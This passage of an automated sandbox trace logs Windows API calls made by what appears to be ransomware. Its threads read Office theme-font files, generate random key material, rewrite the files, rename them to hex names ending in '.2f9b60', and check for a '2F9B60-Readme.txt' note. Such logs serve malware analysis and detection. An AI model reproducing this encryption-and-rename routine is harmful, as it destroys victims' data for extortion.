Flags=0x0, BaseAddress=0x202aba90) returned 1 [0125.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0125.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba90 [0125.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0125.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0125.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0125.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202aba60 [0125.076] sprintf (in: _Dest=0x202aba60, _Format="%c%c" | out: _Dest="f9") returned 2 [0125.076] sprintf (in: _Dest=0x202aba62, _Format="%c%c" | out: _Dest="ee") returned 2 [0125.076] sprintf (in: _Dest=0x202aba64, _Format="%c%c" | out: _Dest="bd") returned 2 [0125.076] sprintf (in: _Dest=0x202aba66, _Format="%c%c" | out: _Dest="4d") returned 2 [0125.076] sprintf (in: _Dest=0x202aba68, _Format="%c%c" | out: _Dest="0e") returned 2 [0125.076] sprintf (in: _Dest=0x202aba6a, _Format="%c%c" | out: _Dest="b8") returned 2 [0125.076] sprintf (in: _Dest=0x202aba6c, _Format="%c%c" | out: _Dest="3b") returned 2 [0125.076] sprintf (in: _Dest=0x202aba6e, _Format="%c%c" | out: _Dest="63") returned 2 [0125.076] sprintf (in: _Dest=0x202aba70, _Format="%c%c" | out: _Dest="f1") returned 2 [0125.076] sprintf (in: _Dest=0x202aba72, _Format="%c%c" | out: _Dest="cf") returned 2 [0125.076] sprintf (in: _Dest=0x202aba74, _Format="%c%c" | out: _Dest="fa") returned 2 [0125.076] sprintf (in: _Dest=0x202aba76, _Format="%c%c" | out: _Dest="ba") returned 2 [0125.077] sprintf (in: _Dest=0x202aba78, _Format="%c%c" | out: _Dest="a7") returned 2 [0125.077] sprintf (in: _Dest=0x202aba7a, _Format="%c%c" | out: _Dest="7c") returned 2 [0125.077] sprintf (in: _Dest=0x202aba7c, _Format="%c%c" | out: _Dest="8c") returned 2 [0125.077] sprintf (in: _Dest=0x202aba7e, _Format="%c%c" | out: _Dest="59") returned 2 [0125.077] RtlInitAnsiString (in: DestinationString=0x3f32f8a8, SourceString="f9eebd4d0eb83b63f1cffabaa77c8c59" | out: DestinationString="f9eebd4d0eb83b63f1cffabaa77c8c59") [0125.077] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f32f878, SourceString="f9eebd4d0eb83b63f1cffabaa77c8c59", AllocateDestinationString=1 | out: DestinationString="f9eebd4d0eb83b63f1cffabaa77c8c59") returned 0x0 [0125.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059880 [0125.077] wcscat (in: _Dest=0x202ace70, _Source="f9eebd4d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f9eebd4d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f9eebd4d" [0125.077] wcscat (in: _Dest=0x202ace70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f9eebd4d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f9eebd4d.2f9b60" [0125.077] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f9eebd4d.2f9b60", NtPathName=0x3f32f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f9eebd4d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x1198c0 [0125.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0125.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.080] NtQueryInformationFile (in: FileHandle=0x103c, IoStatusBlock=0x3f32f8b8, FileInformation=0x3f32f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f32f8b8, FileInformation=0x3f32f8c8) returned 0x0 [0125.080] NtSetInformationFile (FileHandle=0x103c, IoStatusBlock=0x3f32f8b8, FileInformation=0x3f32f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 [0125.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.082] FlushFileBuffers (hFile=0x103c) returned 1 [0125.092] CloseHandle (hObject=0x103c) returned 1 [0125.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ace70 [0125.093] wcscpy (in: _Dest=0x202ace70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0125.093] wcscat (in: _Dest=0x202ace70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0125.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0125.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 [0125.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 Thread: id = 1429 os_tid = 0x18a8 [0119.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml")) returned 0x20 [0119.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", dwFileAttributes=0x20) returned 1 [0119.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1764 [0119.837] GetFileSizeEx (in: hFile=0x1764, lpFileSize=0x3fd4f6e0 | out: lpFileSize=0x3fd4f6e0*=3641) returned 1 [0119.837] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0xe35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.837] ReadFile (in: hFile=0x1764, lpBuffer=0x3fd4f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fd4f6a8, lpOverlapped=0x0 | out: lpBuffer=0x3fd4f660*, lpNumberOfBytesRead=0x3fd4f6a8*=0x4, lpOverlapped=0x0) returned 1 [0120.373] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad50 [0120.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8599d0 [0120.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0120.395] NtQuerySystemTime (in: CurrentTime=0x3fd4f5a0 | out: CurrentTime=0x3fd4f5a0*=132462177257902000) returned 0x0 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0xd4a8f67 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x6d179861 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x2b9f79d0 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x25117c7f [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x73b60f9e [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x34229df0 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0xd3742ba [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x28cfde45 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0xbe9c10c [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x471db279 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x311392b2 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x42835540 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x69eda2af [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x738e852 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x6ec96f1d [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x3e6ef6fa [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x269bdf82 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x79707155 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x56307b44 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x322c478d [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x65fd4a48 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x4f418c03 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x18a65671 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x72246b77 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x5995bf80 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x595ba8fb [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x37562f3 [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x10349f3e [0120.395] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x47b928fa [0120.396] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x7810526f [0120.396] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x490c9512 [0120.396] RtlRandomEx (in: Seed=0x3fd4f590 | out: Seed=0x3fd4f590) returned 0x2a25deb2 [0120.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f40 [0120.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e810 [0120.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a90 [0120.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e810) returned 1 [0120.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0120.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ad50) returned 1 [0120.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0120.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e810 [0120.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad50 [0120.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ad50) returned 1 [0120.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b98d0 [0120.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d3d40 [0120.412] ReadFile (in: hFile=0x1764, lpBuffer=0x202b98d0, nNumberOfBytesToRead=0xe39, lpNumberOfBytesRead=0x3fd4f590, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesRead=0x3fd4f590*=0xe39, lpOverlapped=0x0) returned 1 [0120.412] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.412] WriteFile (in: hFile=0x1764, lpBuffer=0x202d3d40*, nNumberOfBytesToWrite=0xe39, lpNumberOfBytesWritten=0x3fd4f594, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesWritten=0x3fd4f594*=0xe39, lpOverlapped=0x0) returned 1 [0160.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a24b0 [0160.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a24e0 [0160.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a24e0) returned 1 [0160.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0160.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0160.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e810) returned 1 [0160.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0160.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a24e0 [0160.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0160.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e810 [0160.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2510 [0160.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2510) returned 1 [0160.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a2510 [0160.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2540 [0160.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2570 [0160.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2570) returned 1 [0160.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e810) returned 1 [0160.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0160.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x1ce13550 [0160.849] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.849] WriteFile (in: hFile=0x1764, lpBuffer=0x1ce13550*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3fd4f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1ce13550*, lpNumberOfBytesWritten=0x3fd4f6b0*=0x10c, lpOverlapped=0x0) returned 1 [0165.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0165.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0165.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ffd0 [0165.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0165.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860180 [0165.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860180) returned 1 [0165.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fc70 [0165.569] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="8f") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="41") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="3c") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="79") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="db") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="40") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="d2") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="36") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="07") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="fa") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="22") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="a2") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="78") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="d5") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="a3") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="9f") returned 2 [0165.569] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="7e") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="43") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="ff") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="09") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="d1") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="f9") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="27") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="de") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fca0, _Format="%c%c" | out: _Dest="90") returned 2 [0165.570] sprintf (in: _Dest=0x1cd9fca2, _Format="%c%c" | out: _Dest="ac") returned 2 [0165.570] RtlInitAnsiString (in: DestinationString=0x3fd4f728, SourceString="8f413c79db40d23607fa22a278d5a39f7e43ff09d1f927de90ac" | out: DestinationString="8f413c79db40d23607fa22a278d5a39f7e43ff09d1f927de90ac") [0165.570] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fd4f6f8, SourceString="8f413c79db40d23607fa22a278d5a39f7e43ff09d1f927de90ac", AllocateDestinationString=1 | out: DestinationString="8f413c79db40d23607fa22a278d5a39f7e43ff09d1f927de90ac") returned 0x0 [0165.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869640 [0165.570] RtlFreeAnsiString (AnsiString="8") [0165.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0165.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f700) returned 1 [0165.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce13550) returned 1 [0165.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2510) returned 1 [0165.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2540) returned 1 [0165.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a24e0) returned 1 [0165.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a24b0) returned 1 [0165.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8599d0) returned 1 [0165.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f40) returned 1 [0165.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a90) returned 1 [0165.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36990 [0165.573] wcscat (in: _Dest=0x42c36990, _Source="8f413c79db40d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\8f413c79db40d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\8f413c79db40d" [0165.573] wcscat (in: _Dest=0x42c36990, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\8f413c79db40d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\8f413c79db40d.2f9b60" [0165.573] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\8f413c79db40d.2f9b60", NtPathName=0x3fd4f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\8f413c79db40d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced03c0 [0165.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced03c0) returned 1 [0165.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c347f0) returned 1 [0165.576] NtQueryInformationFile (in: FileHandle=0x1764, IoStatusBlock=0x3fd4f738, FileInformation=0x3fd4f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fd4f738, FileInformation=0x3fd4f748) returned 0x0 [0165.576] NtSetInformationFile (FileHandle=0x1764, IoStatusBlock=0x3fd4f738, FileInformation=0x3fd4f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36990) returned 1 [0165.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.578] FlushFileBuffers (hFile=0x1764) returned 1 [0166.281] CloseHandle (hObject=0x1764) returned 1 [0203.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202acb00 [0203.237] wcscpy (in: _Dest=0x202acb00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0203.237] wcscat (in: _Dest=0x202acb00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0203.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0203.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acb00) returned 1 [0203.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acd10) returned 1 Thread: id = 1430 os_tid = 0x18ac [0119.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml")) returned 0x20 [0119.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", dwFileAttributes=0x20) returned 1 [0119.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x181c [0119.847] GetFileSizeEx (in: hFile=0x181c, lpFileSize=0x3fe7fa00 | out: lpFileSize=0x3fe7fa00*=3605) returned 1 [0119.847] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0xe11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.847] ReadFile (in: hFile=0x181c, lpBuffer=0x3fe7f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fe7f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3fe7f980*, lpNumberOfBytesRead=0x3fe7f9c8*=0x4, lpOverlapped=0x0) returned 1 [0120.773] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6620 [0120.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6680 [0120.773] NtQuerySystemTime (in: CurrentTime=0x3fe7f8c0 | out: CurrentTime=0x3fe7f8c0*=132462177261646000) returned 0x0 [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x1dbb54db [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x3a53af7b [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x5df120b0 [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x13a798a [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x5097093d [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x378e1e11 [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0xe01d6a7 [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x5ae201b1 [0120.773] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x1b8b4c79 [0120.774] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x2cd2dcd9 [0120.774] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x3642c8ac [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x527c4cf7 [0120.787] RtlRandomEx (in: 